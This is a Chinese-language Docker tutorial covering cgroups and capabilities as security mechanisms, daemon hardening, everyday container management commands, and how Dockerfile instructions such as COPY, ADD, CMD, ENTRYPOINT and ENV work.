想象一下，在一台物理服务器上运行着多个容器，就像在一栋合租房里住了好几个室友。如果没有管理，有人可能会疯狂下载，占满所有网络；有人可能冬天把暖气开到最大，让其他人受冻。

控制组的作用就是 **给每个室友（容器）设定规矩**，确保大家能公平、和谐地共用房子（主机）的资源：

1. **资源限制（设定上限）**：
   * **比如内存**：可以明确规定“你的容器最多只能用 2GB 内存”，防止某个程序内存泄漏，吃光所有内存，导致整个主机瘫痪。
   * **比如 CPU**：可以规定“你的容器最多只能使用 30% 的 CPU”，防止一个容器跑满 CPU，让其他容器和主机系统都卡死。
2. **资源保障（保证下限）**：
   * 可以承诺“至少保证 10% 的 CPU 分配给你的容器”，这样即使系统很忙，你的关键服务也能获得最基本的资源，确保性能稳定。
3. **资源审计（计算账单）**：
   * 控制组会记录每个容器到底使用了多少 CPU、内存、网络流量等。这对于成本核算、性能监控和故障排查非常有用。

**为什么这很重要？**

它的核心安全意义在于：**确保一个“坏掉”或“恶意”的容器不会拖垮整个主机**。这就像给合租房的每个房间都安装了独立的水电闸，一个房间漏水短路，不会淹了整栋楼。这在云服务平台上是必不可少的功能，因为它能有效防止因单个用户应用异常而导致的“拒绝服务”攻击。

**总结**

* **它是什么**：控制组是 Linux 内核用于 **限制、记录和隔离进程资源使用** 的机制。
* **核心作用**：确保容器 **公平分享** 主机资源（CPU、内存、磁盘 IO 等），并且 **当一个容器出问题时，不会连累整个主机系统**。
* **关键价值**：它是实现多租户环境下稳定性的基石，能有效防止因资源争夺导致的系统瘫痪。

## 服务端防护

运行一个容器或应用程序的核心是通过 Docker 服务端。Docker 服务的运行目前需要 root 权限，因此其安全性十分关键。

首先，确保只有可信的用户才可以访问 Docker 服务。Docker 允许用户在主机和容器间共享文件夹，同时不需要限制容器的访问权限，这就容易让容器突破资源限制。例如，恶意用户启动容器的时候将主机的根目录 `/` 映射到容器的 `/host` 目录中，那么容器理论上就可以对主机的文件系统进行任意修改了。这听起来很疯狂？但是事实上几乎所有虚拟化系统都允许类似的资源共享，而没法禁止用户共享主机根文件系统到虚拟机系统。

这将会造成很严重的安全后果。因此，当提供容器创建服务时（例如通过一个 web 服务器），要更加注意进行参数的安全检查，防止恶意的用户用特定参数来创建一些破坏性的容器。

为了加强对服务端的保护，Docker 的 REST API（客户端用来跟服务端通信）在 0.5.2 之后使用本地的 Unix 套接字机制替代了原先绑定在 127.0.0.1 上的 TCP 套接字，因为后者容易遭受跨站脚本攻击。现在用户使用 Unix 权限检查来加强套接字的访问安全。

用户仍可以利用 HTTP 提供 REST API 访问。建议使用安全机制，确保只有可信的网络或 VPN，或证书保护机制（例如受保护的 stunnel 和 ssl 认证）下的访问可以进行。此外，还可以使用 [HTTPS 和证书](https://docs.docker.com/engine/security/https/) 来加强保护。

最近改进的 Linux 命名空间机制将可以实现使用非 root 用户来运行全功能的容器。这将从根本上解决了容器和主机之间共享文件系统而引起的安全问题。

终极目标是改进 2 个重要的安全特性：

* 将容器的 root 用户 [映射到本地主机上的非 root 用户 ](https://docs.docker.com/engine/security/userns-remap/)，减轻容器和主机之间因权限提升而引起的安全问题；
* 允许 Docker 服务端在 [非 root 权限(rootless 模式)](https://docs.docker.com/engine/security/rootless/) 下运行，利用安全可靠的子进程来代理执行需要特权权限的操作。这些子进程将只允许在限定范围内进行操作，例如仅仅负责虚拟网络设定或文件系统管理、配置操作等。

最后，建议采用专用的服务器来运行 Docker 和相关的管理服务（例如管理服务比如 ssh 监控和进程监控、管理工具 nrpe、collectd 等）。其它的业务服务都放到容器中去运行。

## 内核能力机制

[能力机制（Capability）](https://man7.org/linux/man-pages/man7/capabilities.7.html) 是 Linux 内核一个强大的特性，可以提供细粒度的权限访问控制。 Linux 内核自 2.2 版本起就支持能力机制，它将权限划分为更加细粒度的操作能力，既可以作用在进程上，也可以作用在文件上。

例如，一个 Web 服务进程只需要绑定一个低于 1024 的端口的权限，并不需要 root 权限。那么它只需要被授权 `net_bind_service` 能力即可。此外，还有很多其他的类似能力来避免进程获取 root 权限。

默认情况下，Docker 启动的容器被严格限制只允许使用内核的一部分能力。

使用能力机制对加强 Docker 容器的安全有很多好处。通常，在服务器上会运行一堆需要特权权限的进程，包括有 ssh、cron、syslogd、硬件管理工具模块（例如负载模块）、网络配置工具等等。容器跟这些进程是不同的，因为几乎所有的特权进程都由容器以外的支持系统来进行管理。

* ssh 访问被主机上 ssh 服务来管理；
* cron 通常应该作为用户进程执行，权限交给使用它服务的应用来处理；
* 日志系统可由 Docker 或第三方服务管理；
* 硬件管理无关紧要，容器中也就无需执行 udevd 以及类似服务；
* 网络管理也都在主机上设置，除非特殊需求，容器不需要对网络进行配置。

从上面的例子可以看出，大部分情况下，容器并不需要“真正的” root 权限，容器只需要少数的能力即可。为了加强安全，容器可以禁用一些没必要的权限。

* 完全禁止任何 mount 操作；
* 禁止直接访问本地主机的套接字；
* 禁止访问一些文件系统的操作，比如创建新的设备、修改文件属性等；
* 禁止模块加载。

这样，就算攻击者在容器中取得了 root 权限，也不能获得本地主机的较高权限，能进行的破坏也有限。

默认情况下，Docker 采用 [白名单](https://github.com/moby/moby/blob/master/oci/caps/defaults.go) 机制，禁用必需功能之外的其它权限。 当然，用户也可以根据自身需求来为 Docker 容器启用额外的权限。

### 什么是能力机制？

你可以把传统的 **root 用户** 想象成一把 **“万能钥匙”** ，拥有整个系统的所有权限。一旦把这把钥匙交给某个程序，它就可以在系统里为所欲为，这非常危险。

而 **Linux 能力机制** 则像是将这把“万能钥匙”拆分成了一系列 **“专用门卡”** ，比如：

* `net_bind_service`：是一张“网络端口门卡”，允许持卡程序绑定特定的网络端口。
* … 以及其他几十种不同的“门卡”，分别控制着加载内核模块、修改系统时间等特定权限。

这样一来，一个程序（比如 Web 服务器）无需拿到“万能钥匙”（root 权限），只需要领取它工作所必需的那张“门卡”（特定能力），就能完成它的任务。这大大减少了程序被滥用时的破坏范围。

### Docker 如何利用能力机制加强安全？

Docker 深谙“最小权限原则”，默认情况下，它启动容器时只会授予一个**非常小的白名单能力集**，许多高风险的能力在默认情况下就被禁用了。

**为什么这样做很安全且合理？**
因为在容器这个“小房间”里，很多需要 root 权限的系统管理任务，其实都由外面的“酒店管理方”（宿主机系统）承担了：

| 系统任务     | 在传统服务器中                              | 在 Docker 环境中的情况             |
| ------------ | ------------------------------------------- | ---------------------------------- |
| **SSH 连接** | 由 `sshd` 进程（root权限）处理              | 由宿主机管理，容器内不需要         |
| **定时任务** | 由 `cron` 进程（root权限）处理              | 可作为用户进程运行，或由外部管理   |
| **硬件管理** | 由 `udevd` 进程（root权限）处理             | 与容器无关，无需此权限             |
| **网络配置** | 由 root 权限工具（如 `ip`, `ifconfig`）处理 | 主要由宿主机负责，容器只需使用网络 |

**最终的安全效果是：**
即使攻击者成功在容器内取得了 root 身份，由于 Docker 已经收回了大部分关键的“专用门卡”（能力），他能造成的破坏也极其有限。他无法挂载新设备、无法加载恶意内核模块、也无法直接操作宿主机的网络设备，从而无法从容器这个“小房间”逃逸到“酒店主体结构”（宿主机）中。

### 总结

1. **核心思想**：能力机制将 root 的超级权限拆分为几十种细粒度的权限，实现了从“万能钥匙”到“专用门卡”的进化。
2. **Docker的实践**：Docker 默认采用**白名单机制**，只赋予容器所必需的最小能力集合，遵循了“最小权限原则”。
3. **安全价值**：这极大地增强了容器安全性。即使容器被攻破，攻击者由于缺乏关键能力，也无法对宿主机造成严重影响，实现了有效的安全隔离。

简单来说，Docker 通过能力机制，既保证了容器能正常运行，又牢牢锁住了它通往宿主机的“后门”。

## 总结

总体而言，在合理配置下，Docker容器是相当安全的。其安全性在以下两种情况下会得到极大提升：

1. **最佳实践**：在容器内不使用root用户来运行应用进程。
2. **纵深防御**：使用现有的安全工具为容器增加额外的防护层。

这些安全工具就像是给容器穿上不同类型的“护甲”，共同构成纵深防御体系：

| 安全机制             | 通俗理解               | 在Docker中的作用                                             |
| -------------------- | ---------------------- | ------------------------------------------------------------ |
| **Seccomp**          | **“系统调用过滤器”**   | 限制容器内的进程只能使用一部分必要的系统调用（比如禁止调用“重启系统”的指令），大幅减少攻击面。 |
| **AppArmor/SELinux** | **“行为访问控制列表”** | 为容器定义一个严格的“行为守则”，明确规定它能够读、写或执行哪些文件、端口等，防止越权行为。 |
| **GRSEC**            | **“增强型内核补丁”**   | 通过对整个Linux内核打上安全补丁，提供一系列增强防护，从更底层保护主机和所有容器。 |

**总结**

1. **基础安全**：Docker本身通过命名空间和控制组提供了良好的默认隔离。
2. **关键提升**：**在容器内以非root用户运行程序**，是提升安全性的最简单、最有效的方法之一。
3. **高级加固**：通过**Seccomp、AppArmor或SELinux**等工具，可以实施“最小权限”原则，为容器定制严格的安全策略，从而构建起坚固的纵深防御，即使应用存在漏洞，也能有效控制破坏范围。

因此，您可以相信，只要遵循基本的安全实践并善用现有工具，Docker容器环境完全可以满足生产级的安全要求。

**只要严格遵循 Docker 安全最佳实践，并采用“纵深防御”策略，就可以在生产环境中构建起风险可控、足够安全的应用运行平台。**

您可以对 Docker 的安全性抱有高度的信心。它提供了坚实的安全基础和一整套成熟的可用于加固的工具。**只要您主动地、有意识地去配置和管理它，它就能成为一个用于生产环境的安全可靠的平台。** 它的安全性不是自动获得的，而是正确实践的结果。

---

---
url: /docker/u98f21md/index.md
---
容器是 Docker 的一个核心概念。

简单来说，容器是一个独立运行的应用或一组应用，以及它们所需的运行环境。相比之下，虚拟机则相当于模拟出一整套操作系统（包含完整的运行环境和系统资源），然后在其上运行应用程序。

## 管理容器

下面的命令输出一个 “Hello World”，之后终止容器。

```bash
docker run ubuntu:18.04 /bin/echo 'Hello world'
# Hello world
```

启动一个 bash 终端，允许用户进行交互。

```bash
docker run -t -i ubuntu:18.04 /bin/bash
```

其中，`-t` 选项让 Docker 分配一个伪终端（pseudo-tty）并绑定到容器的标准输入上， `-i` 则让容器的标准输入保持打开。

当利用 `docker run` 来创建容器时，Docker 在后台运行的标准操作包括：

* 检查本地是否存在指定的镜像，不存在就从 Registry 下载
* 利用镜像创建并启动一个容器
* 分配一个文件系统，并在只读的镜像层外面挂载一层可读写层
* 从宿主主机配置的网桥接口中桥接一个虚拟接口到容器中去
* 从地址池配置一个 ip 地址给容器
* 执行用户指定的应用程序
* 执行完毕后容器被终止

\*\[Registry]:指任何存储和分发 Docker 镜像的服务

**容器核心特点**：容器只包含运行所需的应用程序及其资源，不会额外占用其他系统资源。通过 `ps` 或 `top` 可以看到容器内仅运行指定的进程（如 bash）。

```bash
 root@f58ec56d66bc:/# top
 PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND                                                                                                   
     18 root      20   0    8644   4220   2344 R   0.3   0.1   0:00.03 top                                                                                                       
      1 root      20   0    4296   3552   3020 S   0.0   0.1   0:00.13 bash 
```

```bash
root@f58ec56d66bc:/# ps
    PID TTY          TIME CMD
      1 pts/0    00:00:00 bash
     19 pts/0    00:00:00 ps
```

**轻量化优势**：由于只运行必要的应用和进程，Docker 容器资源利用率极高，是典型的轻量级虚拟化方案。

### 容器创建与启动

* `docker run [OPTIONS] IMAGE [COMMAND] [ARG...]` 创建并启动一个新容器。
* `docker create [OPTIONS] IMAGE [COMMAND] [ARG...]` 只创建容器，不启动。
* `docker start CONTAINER` 启动已停止的容器。
* `docker restart CONTAINER` 重启容器。

### 容器停止与暂停

* `docker stop CONTAINER`  停止运行中的容器。
* `docker kill CONTAINER` 强制终止容器。
* `docker pause CONTAINER` 暂停容器内的所有进程。
* `docker unpause CONTAINER`  取消暂停，继续运行。

### 容器删除

* `docker rm CONTAINER` 删除一个或多个已停止的容器。
* `docker rm -f CONTAINER` 强制删除运行中的容器。
* `docker container prune` 删除所有已停止的容器，释放空间。

### 容器查看与管理

* `docker ps`  查看正在运行的容器。
* `docker ps -a`  查看所有容器（包括停止的）。
* `docker inspect CONTAINER`  查看容器详细信息（配置、网络、挂载等）。
* `docker logs CONTAINER` 查看容器日志输出。
* `docker top CONTAINER` 查看容器内运行的进程。
* `docker stats [CONTAINER...]` 实时查看容器资源使用情况（CPU、内存、网络等）。

### 容器命令执行

* `docker exec -it CONTAINER COMMAND` 在运行的容器中执行命令（常用于进入容器交互式 shell）。
* `docker attach CONTAINER` 连接到正在运行的容器的主进程终端。

### 其他常用操作

* `docker rename CONTAINER NEW_NAME` 重命名容器。
* `docker commit CONTAINER NEW_IMAGE` 将容器当前状态保存为新的镜像。
* `docker export CONTAINER > file.tar` 导出容器文件系统为 tar 文件。
* `docker cp CONTAINER:SRC_PATH DEST_PATH` 从容器拷贝文件到宿主机（或反向拷贝）。

## 后台运行

大多时候，我们希望容器在后台运行，而不是占用当前终端。可以使用 `-d` 选项让容器在后台运行。

否则容器会把主进程的标准输出和标准错误输出绑定到当前终端，直到容器终止或用户按 `Ctrl+C` 停止容器。

使用 `-d` 选项（即后台模式）运行容器时，主进程的标准输出（stdout）和标准错误输出（stderr）会被重定向到容器的日志系统中，可通过 `docker logs` 命令查看。

后台模式运行会返回容器 ID。

```bash
docker run -d nginx:latest
# e2f1c3b4d5f6a7b8c9
docker logs e2f1c3b4d5f6a7b8c9
# [日志输出]
# ...
```

## 进入容器

有些时候需要进入正在运行的容器内进行操作，比如进入一个mysql容器执行SQL语句，或者进入一个web应用容器查看日志文件等。

可以使用 `docker attach` 命令或 `docker exec` 命令，但是更推荐使用 `docker exec`，因为 `docker attach` 会连接到容器的主进程终端，可能会影响容器的正常运行。

当你使用

```bash
docker attach e2f1c3b4d5f6a7b8c9
```

连接到容器后，你其实是**直接附着到容器主进程的标准输入输出**上（通常是 PID 1，比如 `/bin/bash` 或应用进程）。

因此：

* 如果你在 attach 会话中输入 `exit`，就等价于让主进程退出。
* 主进程一退出，整个容器就会**随之停止**。

通常的做法是：

```bash
docker exec -it e2f1c3b4d5f6a7b8c9 /bin/bash
```

这样打开的是一个**新的子进程 shell**，即使你退出 (`exit`)，主进程也不会受影响，容器依然保持运行。

| 命令              | 行为           | 退出容器后效果            |
| ----------------- | -------------- | ------------------------- |
| `docker attach`   | 直接连接主进程 | 主进程退出 → 容器停止     |
| `docker exec -it` | 启动新子进程   | 子进程退出 → 容器继续运行 |

## 导出和导入容器

### 导出容器

如果要导出本地某个容器，可以使用 `docker export` 命令。

```bash
docker export [CONTAINER_ID/CONTAINER_NAME] > [FILE_NAME].tar
```

这样将导出容器快照到本地文件。

### 导入容器快照

可以使用 `docker import` 从容器快照文件中再导入为镜像，例如

```bash
cat [FILE_NAME].tar | docker import - [IMAGE_NAME]:[TAG]
```

此外，也可以通过指定 URL 或者某个目录来导入，例如

```bash
docker import https://example.com/someimage.tar
docker import /path/to/someimage.tar
```

* **`docker load`**：用于导入由 `docker save` 导出的**镜像存储文件**，保留完整的镜像层、历史记录和元数据。
* **`docker import`**：用于导入由 `docker export` 导出的**容器快照文件**，只保留文件系统内容，丢失历史记录和元数据，但可重新指定标签等信息。
* 因此，`load` 更完整但体积大，`import` 更轻便但信息少。

---

---
url: /docker/vhajxjfz/index.md
---
## Dockerfile

镜像的定制实际上就是定制每一层所添加的配置、文件。

如果我们可以把每一层修改、安装、构建、操作的命令都写入一个脚本，用这个脚本来构建、定制镜像，那么**无法重复的问题、镜像构建透明性的问题、体积的问题**就都会解决。这个脚本就是 Dockerfile。

Dockerfile 是一个文本文件，其内包含了一条条的 **指令(Instruction)**，每一条指令构建一层，因此每一条指令的内容，就是描述该层应当如何构建。

::: details 一个 node 项目的Dockerfile

```dockerfile
# ===============================
# Step 1: 使用官方 Node.js 镜像作为基础镜像
# 这里用的是 Node 20 LTS，带有 npm
# ===============================
FROM node:20

# ===============================
# Step 2: 设置工作目录
# 所有后续命令都在 /app 目录下执行
# ===============================
WORKDIR /app

# ===============================
# Step 3: 复制 package.json 和 package-lock.json
# 先复制依赖文件，可以利用 Docker 缓存加速构建
# ===============================
COPY package*.json ./

# ===============================
# Step 4: 安装依赖
# npm install 会安装所有依赖包
# ===============================
RUN npm install

# ===============================
# Step 5: 复制整个项目文件
# 把源代码复制到容器内
# ===============================
COPY . .

# ===============================
# Step 6: 编译 TypeScript
# NestJS 默认使用 TypeScript
# ===============================
RUN npm run build

# ===============================
# Step 7: 暴露应用端口
# NestJS 默认端口 3000
# ===============================
EXPOSE 3000

# ===============================
# Step 8: 设置容器启动命令
# 使用编译后的 JS 文件启动应用
# ===============================
CMD ["node", "dist/main.js"]
```

```bash
docker build -t [镜像名称/版本号] .
```

:::

### FROM

构建一个镜像的第一步，就是选择一个**基础镜像**，这个基础镜像就是我们要定制的镜像的**起点**。

在这个基础镜像上，我们可以**添加文件、安装软件、配置环境**，从而一步步构建出我们想要的镜像。

而选择基础镜像的指令，就是 `FROM`，一个 Dockerfile 必须以 `FROM` 开头。

比如构建一个 Java 应用的镜像，我们可以选择一个带有 JDK 的官方镜像作为基础，比如 `openjdk:17-jdk-slim`，然后在这个基础镜像上安装我们应用需要的其他软件、复制应用文件、配置环境变量等。

再或者，我们要构建一个 Node.js 应用的镜像，可以选择 `node:20` 作为基础镜像，Python 应用可以选择 `python:3.11-slim`，Ruby 应用可以选择 `ruby:3.2`，Go 应用可以选择 `golang:1.21`，等等。

甚至可以选择一些更广阔的基础镜像，比如 `ubuntu:20.04`、`debian:bookworm-slim`、`alpine:3.18`，然后在这些基础镜像上手动安装 JDK、Node.js、Python 等运行环境。

Docker 有一个特殊的镜像 `scratch`，它是一个**空镜像**，没有任何文件系统。它通常用于构建**极简的基础镜像**，比如只包含一个静态编译的二进制文件，没有任何额外的依赖。

### COPY

格式：

* `COPY [--chown=<user>:<group>] <源路径>... <目标路径>`
* `COPY [--chown=<user>:<group>] ["<源路径1>",... "<目标路径>"]`

一种类似于命令行，一种类似于函数调用。

`COPY` 指令将从构建上下文目录中 `<源路径>` 的文件/目录复制到新的一层的镜像内的 `<目标路径>` 位置。比如：

```dockerfile
COPY package.json /usr/src/app/
```

`<源路径>` 可以是多个，甚至可以是通配符，其通配符规则要满足 Go 的 [`filepath.Match` ](https://golang.org/pkg/path/filepath/#Match)规则，如：

```dockerfile
COPY hom* /mydir/
COPY hom?.txt /mydir/
```

`<目标路径>` 可以是容器内的绝对路径，也可以是相对于工作目录的相对路径（**工作目录可以用 `WORKDIR` 指令来指定**）。

目标路径不需要事先创建，如果目录不存在会在复制文件前先行创建缺失目录。

此外，还需要注意一点，使用 `COPY` 指令，源文件的各种元数据都会保留。比如读、写、执行权限、文件变更时间等。这个特性对于镜像定制很有用。特别是构建相关文件都在使用 Git 进行管理的时候。

在使用该指令的时候还可以加上 `--chown=<user>:<group>` 选项来改变文件的所属用户及所属组。

语法示例：

```dockerfile
COPY --chown=user:group src/ /dest/
COPY --chown=uid:gid src/ /dest/
```

```docker
COPY --chown=55:mygroup files* /mydir/	# 用户是 UID 55 所属组是 mygroup
COPY --chown=bin files* /mydir/			# 用户是 bin 所属组 默认使用 bin 用户的主组
COPY --chown=1 files* /mydir/			# 用户是 UID 1	所属组 默认使用 UID 1 的主组
COPY --chown=10:11 files* /mydir/		# 用户是 UID 10 所属组是 GID 11
```

**注意**：

**用户/组必须存在**

* 使用用户名或组名时，容器里必须有这个用户或组，否则构建会报错
* 使用 UID/GID 可以避免依赖存在的用户名，但 GID 也最好是容器里已存在或你自己创建的

**主组默认行为**

* 如果只写 `--chown=user`，所属组会默认用这个用户的主组

**如果源路径为文件夹，复制的时候不是直接复制该文件夹，而是将文件夹中的内容复制到目标路径。**

### ADD

`ADD` 指令和 `COPY` 的格式和性质基本一致。但是在 `COPY` 基础上增加了一些功能。

比如 `<源路径>` 可以是一个 `URL`，这种情况下，Docker 引擎会试图去下载这个链接的文件放到 `<目标路径>` 去。

对于 `ADD` 指令下载的远程文件，Docker 不会自动修改权限，默认权限通常为 644，如果需要其他权限（例如 600），需要额外增加一条 `RUN chmod` 指令进行调整。此外，如果下载的是压缩包，Docker 不会自动解压，需要额外增加 `RUN` 指令手动解压。

所以不如直接使用 `RUN` 指令，然后使用 `wget` 或者 `curl` 工具下载，处理权限、解压缩、然后清理无用文件更合理。因此，这个功能其实并不实用，而且不推荐使用。

`ADD` 虽然能下载文件，但 **权限不会自动设置**，**远程压缩包不会自动解压**

每次 `ADD` 或 `RUN` 都会增加一层镜像，如果你先 ADD 再 RUN chmod，再 RUN 解压，就多了好几层，镜像会臃肿

使用 `RUN` + `wget/curl && chmod && 解压 && rm`，**一条 RUN 链接所有操作**，只增加一层，下载、权限、解压、清理都在同一条指令里，并且清理临时文件不会留在中间层

```dockerfile
RUN wget -O /tmp/app.tar.gz https://example.com/app.tar.gz && \
    tar -xzf /tmp/app.tar.gz -C /app && \
    chmod 600 /app/config.yml && \
    rm /tmp/app.tar.gz
```

一条 RUN 完成：下载，解压，修改权限，删除临时文件，并且**只产生一层镜像**，比多条 RUN 更轻量

**总结**：

在 Dockerfile 中，`ADD` 可以自动解压**本地**的 tar、tar.gz、tar.bz2、tar.xz 压缩文件到目标路径，并尽量保留目录结构和元数据；

但对于远程 URL 下载的压缩包，`ADD` 不会自动解压，也不会修改权限，默认权限通常为 644，如果需要其他权限或解压操作，需要额外增加 `RUN` 指令手动处理。因此，对于远程文件或压缩包，更推荐使用 `RUN` + `wget/curl && chmod && 解压 && 清理` 的方式，一条命令完成所有操作，更可控且镜像更轻量。

在某些情况下，这个自动解压缩的功能非常有用，比如官方镜像 `ubuntu` 中：

```docker
FROM scratch
ADD ubuntu-xenial-core-cloudimg-amd64-root.tar.gz /
...
```

从 scratch + ADD rootfs 与直接 FROM ubuntu 的差别在于控制权和精简程度：前者可以完全自定义每一层内容，更轻量或者用于教学/实验，后者方便、快速、官方维护，但可能包含额外不必要的层和包。

在 Dockerfile 中，**COPY 和 ADD 都可以复制文件到镜像**，但官方最佳实践推荐：

**尽量使用 COPY**

* 语义明确，只复制文件或目录
* 行为简单，可预测
* 不会意外触发自动解压或下载

**仅在需要自动解压本地 tar/gzip/bzip2/xz 文件时使用 ADD**

* ADD 会自动解压本地压缩包
* 对远程 URL 下载的文件不会自动解压，但可能增加镜像层，影响构建缓存

**权限与用户设置**

* COPY 和 ADD 可配合 `--chown=<user>:<group>` 设置文件所属用户和组
* `<user>` 和 `<group>` 可以是名称或 UID/GID

**注意构建缓存**

* ADD 的自动解压或远程下载功能可能会使缓存失效，导致构建变慢

### CMD

`CMD` 指令的格式和 `RUN` 相似，也是两种格式：

* `shell` 格式：`CMD <命令>`
* `exec` 格式：`CMD ["可执行文件", "参数1", "参数2"...]`
* 参数列表格式：`CMD ["参数1", "参数2"...]`。在指定了 `ENTRYPOINT` 指令后，用 `CMD` 指定具体的参数。

**容器不是虚拟机，而是进程**

* 容器就是一个运行在宿主机上的进程，它依赖镜像提供文件系统和运行环境
* 容器启动时必须指定主进程及其参数，这就是容器存在的核心

**RUN 指令**

* **用途**：在镜像构建阶段执行命令
* **作用**：安装软件、编译代码、处理文件等
* **执行时机**：镜像构建阶段
* **注意事项**：每条 RUN 会生成一层镜像，可写多条

```dockerfile
RUN apt-get update && apt-get install -y curl
RUN npm install
```

**CMD 指令**

* **用途**：指定容器启动时默认执行的主进程命令

* **执行时机**：容器运行阶段

* **特性**：

  * 可以被 `docker run <image> <command>` 替换
  * 镜像中只能有一条 CMD，多条会覆盖前面的

* **格式**：

  **exec（JSON）格式**：推荐使用，信号转发正确

  ```dockerfile
  CMD ["npm", "start"]
  CMD ["nginx", "-g", "daemon off;"]
  ```

  **shell 格式**：会被包装为 `sh -c "..."`，支持环境变量和管道

  ```dockerfile
  CMD echo $HOME  # 实际执行为 CMD ["sh", "-c", "echo $HOME"]
  ```

前台 和 后台进程

容器没有后台服务的概念，主进程就是容器的核心

**主进程退出，容器就退出**

避免用 `service nginx start` 或 systemd 启动后台服务

* 因为主进程变成了 `sh`，后台服务结束后容器立即退出

正确做法：直接执行可执行程序并以前台形式运行

```dockerfile
CMD ["nginx", "-g", "daemon off;"]
```

::: details

* 容器的本质上**不是虚拟机**，没有完整的 init/systemd/systemctl 管理后台服务
* 容器就是一个运行在宿主上的进程空间，**主进程就是容器的核心**
* 主进程退出，容器退出

**不需要用系统服务去启动**，比如 `service nginx start` 或 systemd

**直接用 CMD 或 ENTRYPOINT 指定项目的启动命令**

* 项目本身就是容器的主进程
* 必须以前台形式运行，否则主进程退出，容器随之退出

```dockerfile
# 正确示例：Node.js 应用
CMD ["npm", "start"]

# 正确示例：Nginx
CMD ["nginx", "-g", "daemon off;"]
```

**原因总结**

* 容器的生命周期依赖主进程
* 后台服务模式（像 VM 里那样）在容器里会导致主进程退出后容器立即停止
* 所以在容器里 **每个服务都应以主进程形式启动**

**总结**：容器运行项目时不依赖系统去调起服务，直接 CMD 指定启动命令即可，项目本身就是容器的主进程，以前台形式运行。

***

容器的主进程以前台形式运行时，它的 **标准输出 (stdout)** 和 **标准错误 (stderr)** 会直接挂在容器上

这就是为什么每次使用 `docker run -it` 或 `docker logs <container>` 都能看到应用的实时日志

```bash
docker run -it my-node-app
# 终端会直接显示 npm start 的输出
```

如果主进程不是前台运行（比如后台启动服务），日志不会直接输出到容器 stdout，甚至容器会立即退出

**这是前台运行的直接体现。**

:::

**RUN 与 CMD 区别总结**

| 指令 | 执行阶段 | 作用                         | 注意事项                                     |
| ---- | -------- | ---------------------------- | -------------------------------------------- |
| RUN  | 构建镜像 | 安装软件、构建项目、修改文件 | 每条生成镜像层，可多条                       |
| CMD  | 容器启动 | 默认启动命令（主进程）       | 只能有一条，多条会覆盖；可被 docker run 覆盖 |

**RUN 用于镜像构建阶段执行命令，CMD 用于容器启动阶段指定默认主进程命令，容器以主进程为核心，必须以前台形式运行；CMD 优先使用 exec 格式确保信号转发正确。**

### ENTRYPOINT

`ENTRYPOINT` 的格式和 `RUN` 指令格式一样，分为 `exec` 格式和 `shell` 格式。

`ENTRYPOINT` 的目的和 `CMD` 一样，都是在指定容器启动程序及参数。`ENTRYPOINT` 在运行时也可以替代，不过比 `CMD` 要略显繁琐，需要通过 `docker run` 的参数 `--entrypoint` 来指定。

当指定了 `ENTRYPOINT` 后，`CMD` 的含义就发生了改变，不再是直接的运行其命令，而是将 `CMD` 的内容作为参数传给 `ENTRYPOINT` 指令，换句话说实际执行时，将变为：

```bash
<ENTRYPOINT> "<CMD>"
```

**ENTRYPOINT 与 CMD 的组合：让镜像像命令一样使用**

**单独使用 CMD 的局限性**

```dockerfile
FROM ubuntu:18.04
RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
CMD ["curl", "-s", "http://myip.ipip.net"]
```

镜像默认执行 `curl -s http://myip.ipip.net`

运行时如果直接追加参数，如 `docker run myip -i`

* Docker 会用 `-i` **替换原 CMD**
* 因为 `-i` 不是可执行命令，会报错：`executable file not found`

::: note

跟在镜像名后面的是 `command`，运行时会替换 `CMD` 的默认值。

:::

解决方式只能完整重写命令：

```bash
docker run myip curl -s http://myip.ipip.net -i
```

不够方便

**使用 ENTRYPOINT + CMD 组合**

```dockerfile
FROM ubuntu:18.04
RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
ENTRYPOINT ["curl", "-s", "http://myip.ipip.net"]
```

ENTRYPOINT 固定主命令为 `curl -s http://myip.ipip.net`

运行时追加参数（CMD 或 `docker run <image> <args>`）会作为参数传给 ENTRYPOINT

```bash
docker run myip          # 输出默认 IP
docker run myip -i       # 输出带 HTTP 头信息
```

这样就可以让镜像 **像命令一样使用**，而不必每次手动完整输入命令

**总结原则**

* **ENTRYPOINT**：固定主命令，确保核心行为不被覆盖
* **CMD**：提供默认参数，可在运行时追加或覆盖参数
* **效果**：运行时可以灵活传递参数，同时保持主命令不变，使镜像像可执行命令一样使用

**通过 ENTRYPOINT + CMD 组合，可以让镜像像命令一样使用，ENTRYPOINT 固定主命令，CMD 提供默认参数，运行时追加参数会传给主命令，而不会覆盖它。**

**ENTRYPOINT + CMD 可以把镜像变成一个“命令行工具”，让容器不仅是环境，更像一个可执行的 CLI 应用。**

### ENV

格式有两种：

* `ENV <key> <value>`
* `ENV <key1>=<value1> <key2>=<value2>...`

这个指令很简单，就是设置环境变量而已，无论是后面的其它指令，如 `RUN`，还是运行时的应用，都可以直接使用这里定义的环境变量。

```bash
ENV VERSION=1.0 DEBUG=on \
    NAME="Happy Feet"
```

这个例子中演示了如何换行，以及对含有空格的值用双引号括起来的办法，这和 Shell 下的行为是一致的。

定义了环境变量，那么在后续的指令中，就可以使用这个环境变量。比如在官方 `node` 镜像 `Dockerfile` 中，就有类似这样的代码：

```dockerfile
ENV NODE_VERSION 7.2.0

RUN curl -SLO "https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linux-x64.tar.xz" \
  && curl -SLO "https://nodejs.org/dist/v$NODE_VERSION/SHASUMS256.txt.asc" \
  && gpg --batch --decrypt --output SHASUMS256.txt SHASUMS256.txt.asc \
  && grep " node-v$NODE_VERSION-linux-x64.tar.xz\$" SHASUMS256.txt | sha256sum -c - \
  && tar -xJf "node-v$NODE_VERSION-linux-x64.tar.xz" -C /usr/local --strip-components=1 \
  && rm "node-v$NODE_VERSION-linux-x64.tar.xz" SHASUMS256.txt.asc SHASUMS256.txt \
  && ln -s /usr/local/bin/node /usr/local/bin/nodejs
```

在这里先定义了环境变量 `NODE_VERSION`，其后的 `RUN` 这层里，多次使用 `$NODE_VERSION` 来进行操作定制。可以看到，将来升级镜像构建版本的时候，只需要更新 `7.2.0` 即可，`Dockerfile` 构建维护变得更轻松了。

下列指令可以支持环境变量展开（将环境变量的值替换到指令中使用的地方）： `ADD`、`COPY`、`ENV`、`EXPOSE`、`FROM`、`LABEL`、`USER`、`WORKDIR`、`VOLUME`、`STOPSIGNAL`、`ONBUILD`、`RUN`。

